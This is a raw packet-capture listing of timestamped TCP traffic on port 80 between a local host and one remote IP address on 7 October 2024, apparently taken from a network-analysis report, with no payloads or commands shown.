Oct 7, 2024 03:15:47.798218966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798233986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798235893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798249960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798276901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798278093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798289061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798295021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798301935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798319101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798335075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798336029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798351049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798356056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798367977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798394918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798409939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798410892 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798429012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798445940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798448086 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798461914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798471928 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798479080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798490047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798497915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798513889 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798530102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798559904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798567057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798582077 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798598051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798610926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798624992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798641920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798644066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798659086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798676014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798677921 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798691034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798711061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798744917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798751116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798767090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798784971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798791885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798825979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798826933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798844099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798868895 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798870087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798886061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798903942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798903942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798923016 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798927069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798952103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798965931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.798969984 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798995972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.798996925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799012899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799030066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799041033 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799046040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799063921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799082041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799105883 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799139023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799154043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799169064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799185038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799212933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799221039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799233913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799251080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799254894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799307108 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799391031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799407005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799421072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799438000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799438953 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799480915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799508095 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799508095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799524069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799540997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799552917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799567938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799576998 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799582958 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799588919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799599886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799613953 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799618006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799633980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799658060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799710989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799726963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799743891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799760103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799762964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799778938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799793959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799797058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799813032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799829960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799840927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799855947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799871922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799880981 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799880981 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799889088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799918890 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799952030 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799952984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.799968958 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799982071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799998045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.799998999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.800014019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.800020933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.800041914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.800045013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.800059080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.800065994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.800076008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.800091028 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.800093889 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.800111055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.800120115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.800127983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.800153971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.800163031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.800174952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.800185919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.800194025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.800214052 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.800228119 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.800230026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.800246954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.800263882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.800265074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.800283909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.800287008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.800311089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.800342083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.884593010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884623051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884639978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884663105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.884694099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.884702921 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.884706974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884726048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884752035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.884757996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884767056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.884776115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884793043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884802103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.884810925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884828091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.884835958 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.884836912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884855032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884862900 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.884871960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884882927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.884887934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884902000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.884915113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884928942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.884932995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884949923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884953976 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.884967089 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884979963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.884984970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.884996891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885003090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885021925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885024071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885042906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885046005 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885059118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885061979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885085106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885090113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885106087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885108948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885122061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885132074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885149002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885165930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885170937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885180950 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885180950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885200977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885210037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885226011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885236979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885246038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885262966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885274887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885279894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885297060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885308027 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885315895 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885332108 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885344028 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885344028 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885359049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885370970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885382891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885390997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885413885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885417938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885433912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885435104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885452032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885456085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885471106 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885479927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885489941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885500908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885508060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885516882 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885525942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885539055 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885540962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885564089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885570049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885584116 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885584116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885608912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885615110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885628939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885632992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885651112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885654926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885674000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885680914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885694027 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885699987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885716915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885720015 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885735035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885741949 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885761976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885761976 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885778904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885782957 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885796070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885803938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885813951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885824919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885831118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885844946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885859013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885869980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885875940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885894060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885898113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885910988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885919094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885929108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885941029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885946035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885973930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885983944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.885989904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.885997057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886013985 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886022091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886033058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886034012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886051893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886053085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886070013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886071920 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886087894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886089087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886105061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886106968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886126995 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886131048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886158943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886158943 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886178017 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886178017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886195898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886198997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886214018 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886221886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886248112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886255026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886267900 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886272907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886301994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886306047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886318922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886329889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886337042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886353016 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886353970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886377096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886378050 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886410952 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886445045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886466980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886472940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886481047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886491060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886507034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886516094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886523008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886533022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886542082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886553049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886574984 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886575937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886590958 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886609077 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886619091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886626005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886637926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886642933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886660099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886662006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886678934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886687994 CEST	49737	80	192.168.2.4	95.164.90.97
